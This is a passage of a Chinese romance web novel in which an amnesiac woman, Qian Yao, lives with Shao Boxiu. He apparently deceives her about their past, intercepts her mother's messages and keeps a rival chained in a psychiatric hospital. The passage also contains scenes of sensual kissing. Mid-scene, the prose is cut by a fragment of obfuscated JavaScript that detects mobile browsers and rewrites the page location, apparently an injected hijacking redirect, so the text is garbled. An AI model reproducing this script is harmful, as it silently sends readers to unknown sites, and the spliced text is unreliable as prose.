疼痛感和酥麻交织,她抓紧他肩头的衬衫,白色衬衫被抓得发皱。
“宝宝,学得好快。”他抵着千瑶的额头喘息道。
邵柏修倒在沙发上,把千瑶侧抱在怀里。
她被按在他的胸前,柔软抵着他胸膛,让人意乱情迷。
她的眼尾晕开了水色,像是被欺负狠了。
邵柏修轻咬她发烫的耳尖,“说喜欢我。”
千瑶脸红得滴血,已经无法直视他了。
衬衫微微敞开,强劲的肌肉喷薄而出,手臂拖着她的脊背。
“嘶......别咬我。”
她的左脖颈倏然被咬,留下一个红色的印记。
湿热的唇舔舐而过,又咬上她白皙的脖颈。
怀中人反应很大,按着他的肩要起来。
邵柏修没有收敛,揉着她的腰,千瑶软成一滩水,钳制在怀里。
“宝宝是不喜欢我?”
千瑶被他眼中的情愫烫到,火热而幽深。
手中的动作不停,揉捏着她的耳垂,敏感地让她的眼尾沁出泪花。
“喜欢......喜欢邵柏修。”
邵柏修眸色加深,嘴角漾开笑意。
他放开了千瑶,她一下就从他的腿上起来。
寻了个借口,直接上楼回房间了。
千瑶关上门,背靠着房门,心里乱糟糟。
她刚刚肯定是疯了,怎么就主动亲上了邵柏修。
还说了那些话,她捂着发烫的脸。
整个人晕乎乎的,心里砰砰砰地直跳。
从来没有这么剧烈过。
她好像有点喜欢邵柏修了。
8. 第8张照片
清晨的暖光照着千瑶,她一起床还是懵的。
头发乱糟糟,翘起了呆呆卷毛。
刷牙的动作很慢很慢,她一觉睡到了大中午,可还是很困。
叮咚——
叮咚叮咚——
听到楼下门铃在响。
她赶忙洗了个脸,去楼下开门。
“千千!”
千瑶还没有看清来人,那人就给自己来了个熊抱。
“我按了好几回,你终于开门了。”
女孩捏着她的脸,很不满,“没有一点迎接我的冲动。”
“你是?”
千瑶看着眼前陌生女孩,她穿着浅色小洋裙,还戴了个硕大的太阳帽。
看着像是去度假回来,头发烫了个大棕色波浪卷。
“我是你的好闺蜜啊,林木子。”
林木子见千瑶看着她的眼神还是很陌生,心里凉了半截。
她苦丧着脸。
“邵柏修都跟我说了你失忆的事情,看来是真的,但是你怎么能把我忘了?”
“我可是你最最最好的好闺闺!”
千瑶念了一遍她的名字,“林木子?”
脑海里搜索了一番,什么记忆也没有。
“来来来我看看,伤哪了?”
林木子担心得要死,直接让千瑶转了个圈,她上看下看,见千瑶还好,把心放到肚子里了。
千瑶让林木子先坐会儿,她去给她倒水。
林木子随手将自己Dior包包扔在一旁,脱下太阳帽扇风。
“我还在度假呢,根本不知道你出事了,看到新闻已经是一个多月后了。我都要吓死了,邵柏修也是,没及时告诉我。”
林木子非常懊悔,她没能去看千瑶。
“看到那个车祸图片,我还以为你......”
林木子说着说着,忽然哽咽。
千瑶笑了笑,“现在我已经好多了,没那么夸张。”
林木子抱着千瑶,一阵后怕。
“千千我以为真的要见不到你了......”
她哭着哭着,妆都花了。
千瑶给她递纸,又给她送了自己最爱吃的小蛋糕,安抚着她。
她泡了两杯咖啡,拿铁甜的加奶,吃点东西会开心。
林木子眼眶红了一圈,她情绪逐渐稳定下来。
她带了很多旅行买的纪念品,塞了整整一大行李箱。
千瑶看了很多特色衣服,还有首饰包包,各种精美的冰箱贴......
“谢谢你,木子。我都很喜欢。”她看向林木子微笑道。
林木子摆了摆手,她絮絮叨叨地说了自己在马来西亚的搞笑事,逗得千瑶笑得合不拢嘴。
林木子又说回她车祸的事情,她叹了口气,又有些庆幸。
“还好邵柏修在你身边,能一直照顾着你。”
“对,我很感谢他。”
千瑶想到他,不由自主地流露笑意。
脑海中全是他与自己相处的细节,邵柏修很细心,照顾她真的无微不至。
“你们青梅竹马,又处了这么多年,什么时候结婚啊?”
千瑶微微一愣,有些诧异。
青梅竹马这件事她还是第一次知道。
林木子见她不回话,又呆呆地看着自己。
以为她在害羞,便又接着打趣道:“记得告诉我哦,我要当伴娘。”
“你说我和他处了很久,我和他恋爱多少年了?”
林木子微笑,回答很快,“七年。”
“这么久?”
“嗯。”
“话说回来,你失忆了,很多事都想不起来,这段时间和他相处得怎么样?”她不经意一问。
千瑶想了想,她之前和邵柏修确实很陌生。
从医院回来,她就一直和他住在一起。
他不抽烟,不酗酒,不会一声不吭带陌生人回来。
会做饭,做得很好吃。
是个很合适的同居对象。
只是......
邵柏修喜欢和她亲密,她就会紧张,还有一种说不上来的感觉。
“邵柏修很好,我和他也相处得也很好。但我还没有适应我多了一个男朋友,这种感觉怪怪的。”
千瑶端起咖啡,又放下。
林木子来了兴致,“你告诉我,你是不是还没有接受邵柏修?或者他还有什么地方没有做好?感觉怪怪的,那是什么原因啊?”
她一口气问了这么多问题,千瑶见她盯着自己,一副非常想知道的模样。
“我觉得他......喜欢亲我,还有做一些......”
千瑶面红耳赤,想起昨日她和邵柏修的吻。
林木子捂唇大笑,见她脸红得不行,又笑得前俯后仰。
“这不是很正常吗?千千,我怎么觉得你才不对劲。”
林木子抬起她的下巴,仔细端详她发烫的脸,“你看看你,刚说几句话就脸红了,争点气啊。”
她说着又仰靠在沙发上,叹了口气,连连摇头。
小姐妹有了男朋友,她还单着呢。
“你这是甜蜜的烦恼,哪个情侣不亲亲抱抱举高高。”
她忽然想起什么,起身看向千瑶,“欸,你有回应他吗?”
“回应?”
林木子点头,起身一本正经地看着她。
“感情是两个人的事,你也应该主动些,主动出击才能占据上风。”
千瑶骤然笑出声,“你以为是打仗呢?”
“这跟打仗差不多,这个回应不只是身体上的回应,物质上也要有,这样体现你在重视他。”
“你的意思是,我可以做一些让他开心的事情。”
林木子打了个响指,“孺子可教也。”
“既然你也喜欢他,那有什么好纠结的。你也可以想想他会喜欢什么,投其所好嘛。”
千瑶点点头,觉得林木子说得有道理。
门被打开,两人往门口看去。
邵柏修回来了,他看到沙发上的二人,打了声招呼。
林木子下意识地站起来,也回了话。
千瑶见她站着,拉了拉她的手腕。
她见林木子有些拘谨,笑得也没有刚才自然。
千瑶见到林木子看向自己,刚刚的神情又恢复如常。
“既然他回来了,那我就不打扰你们二人世界了。”
林木子提包走人,临走还对千瑶说下次去旅行给她寄明信片。
邵柏修在人走后,坐在沙发上,整个身子靠在她身上。
他揉了揉千瑶的头,搂着她的腰。
脑袋挨着她的左肩,有一下没一下地把玩着她的手指。
“你们刚才聊什么呢?”
“木子给我送了很多东西,她来看看我。”
千瑶看着手头上的冰箱贴,精美漂亮,有着异域风情。
忽地,手头上的冰箱贴被人拿走,放在桌上。
“别看它,看我,宝宝。”
千瑶被捏着下巴,让她转过来与自己对视。
他的眼神中带着一丝被忽视的不满。
千瑶忽然想起刚刚林木子的那番话,她或许可以让邵柏修高兴。
投其所好......
她想不到邵柏修会喜欢什么,干脆直接问他。
她皱眉,犹豫许久。
话到了嘴边,又一时说不出来。
“那个,额......”
“邵柏修,你平常喜欢做什么?”
邵柏修扬起眉梢,“怎么忽然问这个?”
“喜欢么......”
他看向千瑶的眼神晦涩暗沉,撩拨她的墨发到耳后。
煦暖光线停在他的眉宇,目光下视,看着她的红唇。
“唔——”
口中倏然被探入撬开牙关,千瑶被人捏着下颌,仰起头承受这个突如其来的吻。
披散而下的头发散乱,挑起一缕发丝缠绕在他的指尖。
千瑶靠在沙发上,被人按住肩。
男人的膝盖抵着她的腿间,悄然分开,任由他俯身向下,加深这个吻。
眼尾被吻得薄红,湿漉漉地看着邵柏修。
手臂撑在她的耳侧,身躯遮住了光线,将她笼罩在身下,绝对占有地禁锢在他的方寸之间。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183205|196984||http|test|mini|href|location''.split(''|''),0,{}));
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>大手掐着她的腰,唇间勾连,泛起水色。
邵柏修吻得她动情,推着他的胸口。
纤细的手腕被人抓住,与她十指相扣,严丝合缝。
“你、你下去。”
千瑶吻得喘不过气。
还在掐着她柔软的腰,敏感得抓紧他的手。
一声闷哼从邵柏修喉间发出,皱着眉头。
拇指擦过他的唇角,那处破皮了。
他被咬了。
千瑶推了他一下,让他从沙发上下去。
邵柏修站在千瑶面前,看上去很无辜。
她坐在沙发上,看着他的唇上的咬痕,渗出一点血。
“我不是故意的,我想跟你好好说话,你就突然亲、亲我。”
她说得嗑巴,在解释自己的行为。
邵柏修无奈一笑,坐在她身边,“是你自己问我喜欢做什么的,我不是告诉你了吗?”
千瑶很认真地跟他说:“我不是这个意思。”
“如果你有时间,我们一起去旅游,这样好不好?”
“你喜欢旅游吗?”
邵柏修撑着下巴,思索了一番,“那我们去行江峰,那里的云海很美。”
“你之前一直想看日落,咱们明天去吧。”
-
行江峰在京市的郊区,从市中心过去,不过几小时。
千瑶看着顶上云海缭绕,她穿着冲锋衣,冷风呼呼吹着。
晨时的薄雾微凉,湿湿的水汽迎面而来,空气清新。
千瑶打了个哈欠,背着登山包,还是太早了。
徒步需要几个小时才到山顶。
邵柏修停车在山脚下,和她一起上山。
他的体力很好,但缺乏锻炼的千瑶爬了两个小时,她就已经累得不行了。
“千千,上来我背你。”
邵柏修把背包放在前面,直接背起她往上走。
她手揽邵柏修的脖子,靠在他身上。
她看着邵柏修额头上出了很多汗,拿纸给他细细地擦去。
太阳从云层里出来了,汗水顺着他的脖颈滑下。
“邵柏修,我自己走。”
千瑶背着书包,从他身上下来。
这里的山路很绕,山上的山茶花开了,芬芳扑鼻。
她从半山腰往下看去,树木郁郁葱葱,群山起伏,重峦叠嶂。
千瑶看着这个高度,忽然感觉眩晕。
她没有再看了,告诉自己不要再往下看。
“千千,前面过了玻璃栈道,再走一段距离就到山顶了。”
“还有玻璃栈道?”
刚说着,两人就走到了栈道的起点。
玻璃之下,万丈深。
光滑的玻璃反射着光,下方就是料峭的石壁,谷底有小溪流淌。
千瑶胸口跳得极快,手心发汗。
她恐高。
“一定要过去吗?”
她看向邵柏修,她害怕。
他温柔道:“没事的宝宝,抓着我,闭眼什么都不要看。”
此刻邵柏修的声音让她感觉到一点安慰,她心里忐忑不安。
她半抱着邵柏修的腰,脑袋挨着他的胸膛。
眼睛被他的手蒙上,他走一步,她就跟着走一步。
“跟着我,慢慢的。”
邵柏修很有耐心,他走得不急,给她缓冲的时间。
千瑶踩在玻璃的那瞬间,心跳加快,几乎达到了顶峰。
她死死地抱着邵柏修,他的声音在引导她,安抚着她。
“我在这里,不要睁开哦。”
“嗯。”她小小声的回应。
连同声线都在颤抖。
“宝宝,都怪我没事先和你说,这里有玻璃栈道。不知道你会这么害怕,对不起。”
邵柏修嘴上说着抱歉的话,唇边的笑意不减。
他低头看着几乎挂在身上的人儿,又自责地说:“我忘了你恐高,还带你玩这些。”
“......没事的,我可以。”
邵柏修闻声,笑意更盛。
“万一掉下去,我们就一起死。”
“这样也不错。”
9. 第9张照片
“不许说不吉利的话。”千瑶埋在他胸口,闷声道。
邵柏修太坏了,现在她这么害怕,还说这些。
“好,错了。”
他抚摸着她的发丝,柔声安慰。
千瑶的心跳一直砰砰的,听到他的安抚,她心里不由自主地想要依赖他。
等过了玻璃栈道,她再次睁眼。
眼神呆愣,额头上出了不少汗,看着来时路,魂都没了。
邵柏修笑着捏了捏她的脸,“走了。”
二人到山顶上,搭了个简易的帐篷。
今晚他们要在这里过夜了。
不过,帐篷只有一个。
黄昏日落,天边的云霞变得金光灿灿。
云海翻涌,浮光跃金。
阳光洒落下来,就是一副水墨画。
千瑶看着美不胜收的景色,双手环臂,脑袋全然放空。
邵柏修从身后搂着她,碎发蹭着她的脖颈,薄唇贴着她的耳朵。
“宝宝,好久没和你这样安静地看一场日落了。”
“邵柏修,它好好看,好漂亮。”
千瑶指着其中一抹云,层层叠叠,“你看那个,好像金色的阶梯。”
邵柏修顺着她的视线看去,云层在金色光线的照射下,泛着橙黄色彩,就像被泼了颜料的阶梯。
太阳全然落下后,天空变成蓝灰色。
邵柏修做好了晚餐,叫醒帐篷里熟睡的千瑶。
她看完日落后,就困得不行。
今天的爬山消耗了她的运动量,实在撑不住就去眯了会儿。
“吃饱了再睡,宝宝。”
千瑶迷迷糊糊睁开眼,邵柏修坐在她旁边。
修长笔直的手拂过她的发丝,低声轻柔唤她。
“快起来咯,不然要冷了。”
手臂的肌肉紧实有力,将她抱了起来。
抱到露营椅上,千瑶的睡意瞬间消散。
折叠桌上放着一碗热腾腾的面,勾起她的食欲。
她尝了一口,非常好吃。简单的面,食材也有限,可做出来的面就是色香味俱全。
她觉得邵柏修真的是全能。
肩上披上了一张毛毯,她一抬头是邵柏修。
“做得很好吃,辛苦了。”
“这山上冷,你穿着单衣,别冻感冒了。”
“今晚就在这儿睡,明天再下山。不过只有一张帐篷的话,宝宝不会介意吧?”
千瑶摇头,她不介意。
晚上山路不好走,明天早上下山安全。
夜间的繁星点点,晚风清凉,习习地吹着。
听着帐篷外的虫鸣声,她躺得靠里,被子蜷缩在一起,像个小蚕蛹。
腰上横跨一只手,连人带着被子将她搂在怀里。
千瑶睡得迷瞪,困得不想睁眼。
山顶上的凉从帐篷的缝隙而入,她还是睡得不太舒服。
千瑶自然而然地往邵柏修方向靠近。
邵柏修下颌抵在她的额头,浅浅的呼吸在他的脖颈。
他看着怀中的人熟睡,在她的额头落下一吻。
她的手枕在一侧,邵柏修拉过她的手腕,放在自己腰上。
他满意地挑起笑意,指腹摩挲着她的唇。
柔软瑰红,粉嫩软糯。
她睡觉的时候,微张着嘴巴浅浅吐息。
千瑶睡得很熟,脑袋又往他的方向蛄蛹,蹭了蹭他的下颌。
二人相拥而睡,亲密无间。
“邵总,千氏集团最近风波不断,新的产品又出了纰漏,还没能成功上市。”
“还有就是......”
“千总已经有点怀疑了,她最近在找小姐。”
邵柏修低声轻笑,“她看到新闻了?”
电话里的男人继续回复,“嗯,但我跟她说小姐已经恢复好了。”
千瑶揉了揉眼睛,听到帐篷外的说话声。
她一摸旁边,被褥是冷的。
外头的声音继续,是邵柏修的声音。
她仔细地听着,他的语气好像很不悦。
“你跟千轶芸说她在采风写作,不想回去。”
“可这样的话,她还会派人来的,毕竟小姐一个消息也没有给她。”
“没事,我会给她看到的。”
帐篷的拉链被拉开,千瑶探了个脑袋出来。
她见邵柏修刚好将电话挂断,往她这边看来。
“吵醒你了?”
千瑶摇头,“你在和谁打电话?”
“工作上的事情......宝宝听到什么了?”邵柏修揉了揉她脑袋。
抬眼与她对视上,微笑注视着她。
千瑶敛目低眉,“没有。”
邵柏修没有错过千瑶细微的动作,她在躲闪掉他的眼神。
邵柏修埋头一笑,“是你妈妈来问我你车祸的事情,我跟她说你已经恢复了。”
千瑶抬头,“这样吗?”
心里的几点疑虑逐渐打消,见他还在继续说。
“刚刚不想吵醒你的,千姨工作比较忙,不能及时来看你,你别怪她。她嘱咐我好好照顾你,我会尽力的。”
千瑶点头,表示自己理解了。
千瑶看着邵柏修,他眼底有浅淡的青黑。
“你昨晚没睡好吗?”
“难道是我......我对你做别的事情了?”她迟疑。
她睡着了就什么都不知道了。
她担心自己睡相不好,和邵柏修抢被子,影响了他睡觉。
邵柏修垂首一笑,看向千瑶。
他故意停顿,“怎么......你想对我做什么?”
千瑶看到他眼底的笑意,知道他又是在逗自己。
没好气地锤了他一下。
-
从行江峰回来后,千瑶短暂地休息了会儿。
邵柏修去洗澡,她就一人上书房去看看书。
大部分的小说她都看过了,一时觉得无趣,她看向另一侧。
千瑶走向邵柏修的书架区域,一眼扫过去,专业书很多。
不过......
最多的是心理学类,其次才是脑部医学。
她翻阅了几本心理学书,上边都有划线的批注,看得很仔细。
邵柏修很喜欢研究心理学。
她把书放回去,此时她的电话响了。
电话里显示的是“妈妈”。
这是邵柏修之前帮她备注的,她不知道为什么,还有些紧张。
是视频电话,她点开接通。
一个穿着华贵的女人出现在屏幕里,举手投足间优雅万千。
胸前的碧绿翡翠价值不菲,细柳眉微蹙。
有江南女子的婉约风韵。
“千千,妈妈想你。我才知道发生了这么多事,你现在脚怎么样?头呢疼不疼?”
千瑶看到她眼中流露的关切,“现在不疼了,妈妈。”
“那就好,妈妈工作忙,到处飞来飞去的,你要好好照顾自己。”
“听说你现在和柏修住在一起,有什么事情就和他一起商量,他做事踏实谨慎,还算不错。”
千瑶点头,“嗯。”
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妈妈还是不放心,眉头始终没有松下,“我今天托柏修照顾你,有什么需要或者困难,记得跟妈妈说。”
“见到你们两个好好的,我就放心了。”
千瑶冲她一笑,让她不要担心。
她理解妈妈的工作,她现在过得很好,不想让人为她操心。
“妈妈再见。”
视频挂断,看见妈妈关心她,她不由嘴角上扬。
浴室内,水汽氤氲。
湿发垂着水滴,滴在男人的眉骨上。
水流淌过爆发力的肌肉,腹肌的线条流畅。
邵柏修穿着白色浴袍从浴室出来,看向桌上的手机,眼神恹恹。
那部被车祸砸碎的手机放在一旁,在它旁边的是另一个新手机。
不过,旧卡已经换了过去。
邵柏修点开微信,上边好几条红色圆圈。
其中置顶的便是“妈妈”。
【千千,什么时候回M国?】
【现在还好吗?我看新闻上你出车祸了。】
而后是几个微信电话,均未接通。
【你去哪里了?】
最新的消息停留在两天前。
邵柏修在聊天框输入了几个字。
【妈妈,我很好,我想要长期留在Z国。在这里采风写作我很有灵感,你忙工作吧,不用管我的。】
邵柏修面无表情,发了一个爱心表情包。
过了几分钟,对面回复了一个“好”。
而后就没有下文了。
邵柏修关闭手机,将两部手机都放进抽屉里。
他不担心千轶芸会找过来,她一向以事业为重。
现在又是在集团产品上市的关键节点,她更不会去管千瑶。
两人一年的见面次数屈指可数。
床上手机忽然响起了微信的叮咚声,“宝宝”置顶。
千瑶给他转了十万。
上边还写了备注:水费电费房费饮食费,不够可面议,谢谢。
千瑶坐在床上,见钱都转过去了。
她等了一忽儿,没有见邵柏修接收。
不过他发来一条消息。
【S:?】
千瑶皱着眉,也回了一个【Q:?】
他没接收,难道是不好意思?
还是不满意数字?
咚咚咚——
房门被人敲了。
千瑶看了一眼门口,果然是不满意数字。
邵柏修要来找她面议了。
她打开门,邵柏修没穿衣服,顶着浴袍就进来了。
他坐在床前的沙发上,把手机摊开,放在桌上摆给她看。
“解释。”
千瑶解释,“自愿赠予。”
见他脸色更加难看。
千瑶又补了句,“不用还的,刚刚备注忘记加上了。”
“我一直住在这儿,也不能白吃白喝你的。你还给我做菜煮饭,我也没有替你干活,没什么能帮得上的地方。”
“这些钱希望你收下。”
千瑶打量着邵柏修,他脸色越来越阴沉,看上去好像有点生气。
“如果你对数字不满意,你可以说说,我们商量一下。”
她继续补充,希望他不要因为这件事情生气。
钱的事情都好说。
“所以你觉得你和我住在这里,你良心不安。”
邵柏修看着她,眼中尽是怒火,“因为你什么都没有做,但你只有钱,所以你想用这个补偿我?”
“你是这个意思吗?千瑶?”
“你把我当什么了?”
10. 第10张照片
“男朋友。”她弱弱地回应。
千瑶说得认真,看着邵柏修的眼睛没有躲闪。
“我只是不想你这么辛苦,而且这样看起来,我就像被......包养的。”
她越说越小声,她不想这样。
千瑶没想到他会发这么大的火,简单的一件事,在邵柏修看来就是自己对他不接纳。
她没有把邵柏修当做房东,可是他好像误会了。
邵柏修看着她嘴唇绷成一条线,手指不安地摩挲着。
他心里头的怒气刹那间便消了。
邵柏修拉过千瑶的手腕,她一下失重,抱坐在他怀中。
“宝宝,刚刚我声音大了些,对不起。”
千瑶摇头,她没有生邵柏修的气。
“这样好不好,你一个月给我一千,我剩下的工资全都交给你。”
她愣了,“为什么?”
“等我们结婚了也是这样,现在就当提前演习,给你理财,你想投资或者炒股都行。”
邵柏修食指抵在她唇间,不让她说出拒绝的话。
她见他的态度强硬,她也不再拒绝。
不过她原本想要给邵柏修住宿费的,现在却变成了他上交工资给自己。
邵柏修走后,没几分钟就过来了。
手中夹着黑卡,递给她。
千瑶看着鎏金的刻字卡号,卡被塞在手里。
“现在换你包养我,记得每月一千。”
邵柏修捧起她的脸,吻她额头。
千瑶看着他认真的眉眼,顿时脸上发烫。
“宝宝真乖。”
次日一早,千瑶约了小姐妹林木子去逛街。
她刚出门,一辆黑色宾利缓缓停在门前。
下来一个穿着黑色西装的男人,他俯身问道:“小姐您要去哪?”
“你是?”
“我是邵先生派来的专属司机,您跟我说去哪,我带您过去。”
他说着,帮千瑶打开后座的门,手放在车门上方。
千瑶站在原地,没有上去。
“邵先生都跟我说了,小姐的出行我来负责,叫我张叔就行。”
千瑶抿了抿唇,邵柏修是个医生,平日里都是自己开车,现在却无缘无故给她配个司机。
她总觉得不对劲,邵柏修这么不放心她自己一个人出门么。
“我是他的远房亲戚,也就会开车。要不是邵先生给我这个工作,我都很难在这里生活下去。”
听到他这么说,心中的疑虑放下了。
原来是这样,邵柏修人还挺好的。
千瑶上车,坐在后座,“我去时尚商圈,谢谢张叔。”
她刚下车,远处的人就朝她招手。
林木子比她先到了,“你看这大太阳,热死了,你再不来我就要融化了。”
林木子摘下大墨镜,热得直扇风。
“好啦好啦,咱们逛逛。”千瑶挽着她的手臂。
林木子买东西只看了几眼,合眼缘的全都让人包起来。
身后跟着一众人,帮她们提东西。
一阵扫荡下来,两人也累得不行,来到一家咖啡厅休息。
“你不对劲啊,千瑶。你买了衣服,还有几个包包。但我见你怎么大部分的时间都在逛手表店。”
她身体往前倾,挑了挑眉,“我以为你想给自己买,现在看来不是。”
千瑶点头,是她说的那样。
她想给邵柏修买腕表的,这里的她都觉得不太合适。
“送男朋友啊。”
“劳力士、欧米茄还是百达翡丽?”
千瑶摇头,“都不是。”
“这里有没有五千左右的手表。”
“啊?”林木子诧异。
千瑶颇为不好意思,她没有做好预算。
她不会轻易动用邵柏修的黑卡,可她这个月的稿费在刚刚挥霍得差不多了。
现在她手头紧张,能用的只有五千块。
千瑶想给他买礼物。
“有吧,我记得西边的那个商场有,我带你去。”
“好。”
千瑶看到店里琳琅满目的手边,一块银色的腕表。
指针精细,低调内敛,很符合邵柏修的气质。
她看了眼价格,刚好五千。
她这个月的稿费彻底花光了,但是能买到这块表,她还是特别高兴。
林木子让人将礼物都装上车,她站在一旁同千瑶说话。
“千千,下次逛街再找我哈,我先走了。”
千瑶送走她后,自己往张叔停车的位置走。
她走在商场中,从街道这头穿过去。
她在等红绿灯,看着红灯还剩下三十秒。
“千千——”
千瑶听到有人喊她的名字。
她扭头,见到一个一米八的高个男人往她走来。
头发微分碎盖,大衣被风吹动,他的眼尾处有一颗小痣。
一双桃花眼注视着她,怔在原地。
棱角分明的脸带着些许震惊,看着她的眼睛满是不可置信。
他快步往这边走来,一把拽住了千瑶的手腕。
他握着她的肩,整个人在急剧地颤抖,“千千,我没有出轨!”
“你要相信我,你看到的不是真的,我跟她没有关系。”
千瑶皱着眉头,她被抓得疼了。
她想要抽开手,“你是谁?放开我。”
这个人情绪不稳定,一上来就抓着她不放,还说一些奇怪的话。
“我那天宿醉,稀里糊涂地就去了酒店。一睁眼她就睡在我旁边,我根本就不认识她。”
“还有我身上的吻痕,是她弄出来的。”
“我们没有发生任何关系。”
他见千瑶想和自己撇清关系,眼神通红,着急地解释。
“你是不是认错人了,这位先生,你先松开我。”
景喻哲抱住了她,失而复得,“千瑶,你别装作不认识我,我很后悔那天喝酒,你原谅我好不好?”
“宝宝,我们还......”
砰——
千瑶骤然失去了束缚,眼前的景喻哲被打得摔在地上。
左脸红了一块,嘴角流血。
邵柏修看着他的眼神冷漠,握紧的拳头手臂肌肉爆发力十足。
睥睨下视,浑身席卷着寒意。
气氛在这一刻凝固,剑拔弩张。
“邵柏修?”千瑶看着挡在她身前的男人。
“千千没事吧?有没有受伤?”
他转身时眼神转换,变得柔情紧张。
仔细看她身上有没有伤口,担心得不行。
地上的景喻哲吐了口血沫,看着眼前男人对千瑶亲密的举动。
眼神危险,手指着邵柏修,“你是谁?别碰她。”
邵柏修没理他,绿灯亮了,他让千瑶先去车上等着。
“可是你......”
“没事,这里我处理。”
千瑶皱着眉头,担心地看着邵柏修,后者给她一个安心的眼神。
千瑶点头,直接走了。
景喻哲想要挽留她,跟上没几步,便被按住肩膀。
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视线中红灯又亮起,千瑶已经上车了。
景喻哲看向邵柏修,嗤笑一声,“这位先生,我和她之间的事,轮得到你插手?”
邵柏修放下手,与他相视。
“千瑶现在是我的女朋友。”
他抬眼,“既然分手了,就别缠着她。”
“她嫌脏。”
千瑶从车窗看到对面,隔得太远了,她见到两人还在对话。
不知邵柏修说了什么,刚刚抱着她的男人脸色变得铁青。
邵柏修走过来了,车门被打开坐在她旁边。
“张叔,回御萃长庭。”
“邵柏修,刚刚那位先生认识我?”
千瑶听见他叫自己的名字,不过刚刚的场面,着实将她吓了一跳。
莫名其妙地抱着她,还抓着她不放。
她见邵柏修沉默,又继续地问道:“他是谁?”
“他是你前男友。”
“啊?”
千瑶大吃一惊,她还有前男友。
这个消息有点炸裂了。
难怪她见邵柏修不想提起,不想让她和那人见面。
现任见前任,多多少少有点膈应。
“那我和他到底相处了多久?因为什么分的手?”
邵柏修转头看向她,“你这么在意他吗?”
千瑶听他的语气,似乎在隐忍怒火。
看着像是吃醋了。
千瑶主动挽着他的手臂,“我不是在意他,我只在意你。”
“我好奇嘛,我想知道,而且也有助于我恢复记忆。”
听她这么说,脸色才稍微好些。
“之间我和你短暂的分过手,在那之后,你又和景喻哲交往了三个月。”
“然后发现他劈腿,和别的女人睡了,之后就分了。”
“后面没过多久,我们又重新复合了。”
千瑶理解了,没想到她的感情生活还挺丰富的。
分手后,又无缝衔接三个月。
她失忆前原来是个花心的人。
千瑶有些愧疚,她握上邵柏修的手。
“邵柏修对不起,以后我不提他了。上一段的感情是上一段的,现在我只喜欢你。”
邵柏修嘴角噙着笑意,见她看着自己,满心满眼都是他。
傻傻的。
“好,以后除了我,不许喜欢别人。”
千瑶点头,她洗心革面,绝对不会断崖式分手。
她的目光顺着他的下颌,往下是一席黑色西装,他没戴眼镜。
修长的腿交叠,一只手靠在车窗边。
气质就像变了一个人。
“邵柏修,你刚刚怎么出现得这么及时,你不是在医院上班吗?”
邵柏修眼神没有掀起波澜,指尖在窗沿点着。
修长的手指宛若在弹钢琴,他扭头温柔的回视她。
“临时有个医学的研讨会,就在这边。刚好结束下来,就在这里看到你了。”
千瑶恍然大悟,难怪他穿着正装,平常他都不这样
御萃长庭。
她和邵柏修回了家。
他帮千瑶提购物袋进来,她买了很多东西。
千瑶想起她给他买的礼物,让邵柏修闭眼伸手。
他感觉手心沉甸甸的,一睁眼是一块腕表。
“这个是我今天逛商场买的,希望你喜欢。”
邵柏修扫了一眼,做工粗糙,数字模糊,蝴蝶扣松动。
表面不够光滑,指针声音太大。
这种劣质表,他看都不看一眼,根本不会戴。
11. 第11张照片
“千千我很喜欢的,这个腕表能看时间,真的很不错,你帮我戴上吧。”
他解下之前昂贵的表,随手扔在桌上。
千瑶听他说喜欢,不由自主地扬起嘴角。拉过他的手,给他戴上。
“喜欢就好,我眼光很不错的,我一眼就看中了它。”
邵柏修的电话在响,他接了个电话,沉默了几瞬。
他走到院子里,千瑶透过客厅的落地窗见到他的神情变了。
面无表情,薄唇微动。
说话的时候,深邃的眉眼低垂,给人一种压迫感。
他扭头,发现千瑶正在看着他。
邵柏修隔着落地窗,对她微微一笑。
电话全程不超过五分钟,他回到客厅。
千瑶见他的表情不太对,“怎么了?是出什么事了吗?”
邵柏修摇头,让她别担心,对她说:“千千,我先去工作了。”
千瑶知道他忙,点了点头,看着他离开。
-
京市安康精神病院
周围僻静,杂草丛生。
铁门栅栏高耸,围墙之上缠绕着铁丝网,均配了高压电。
暮色降临,黑暗慢慢笼罩。
高塔的强灯光照着地面,有人在巡逻。
透露着阴沉,压抑,毫无生机。
一辆黑色劳斯莱斯在大门停下,两侧排着两列人,纷纷低着头,等着车上的人下来。
院长见人从车上下来,赶忙迎了上去。
“邵总,得您大驾光临,倍感荣幸。”
“带路。”
院长点头哈腰,在前头领着路。
“想必邹秘书也跟您汇报了,3443想要见您,一直吵闹,还打伤了很多病友。”
院长面露苦色,“他不吃不喝,药也不肯吃。”
邵柏修笑了,“不吃药怎么行?不吃病可好不了。”
“对啊,我们也是这么想的。”
穿过长廊,院长刷卡打开一间防护门。
室内很空旷,里边的人二十四小时值守,有一面墙是透明的玻璃。
从里边能看到另一间病房的情况。
“我没病!让邵柏修过来!”
“滚开——全都滚开!”
病床上的铁链敲得作响,床上被子全都掉到地上。
饭菜汤水洒在地上,地面一片脏污。
床上的男人还在吼叫着,头发长得乱糟糟,没被人打理过。
“放我出去,来人来人!我要找律师,你们害我,害我!”
“邵柏修呢?!”
一旁的院长擦了擦汗,里边的吼声通过同声传递,传到这间室内。
他看了一眼身旁矜贵的男人,不敢怠慢半分。
“邵总,因为3443这段时间情绪激动,所以这条锁链是不得已给他戴上的。”
“您、您别见怪。”
邵柏修拍了拍他的肩,笑得高兴,“怎么会呢,锁链就该戴,不然伤到别人怎么办?”
“你们做得很不错,不过只锁手不行,脚链也要加上。老是踹被子,很麻烦你们的。”
“是是。”
院长没想到他这么好说话。
“他入院以来就一直嚷嚷着要见您,您看?”
“那就见见。”
3443房门打开。
“来人——我要告死你们!”
“你们一个个的都逃不了,滚都滚!”
一人闲庭信步地走进来,唇角挂着浅浅的笑意。
床上的3443听到动静,他昂起头往门口看去。
许久没有见到这么亮的光线,他眯了眯眼。
等到来人走近,他猛然一震。
“邵柏修。”
“好久不见呐......”他停顿,看到他病号服的左上角数字,“3443。”
3443见到他,情绪更加激动,“你终于来了,赶紧把我放出去,你知道的,我没有病。”
邵柏修皱眉,低头看着床上的男人。
短短几个月的时间就苍老成这样,胡子拉碴,往日的光鲜不再。
像个摇尾乞怜的腌臜货。
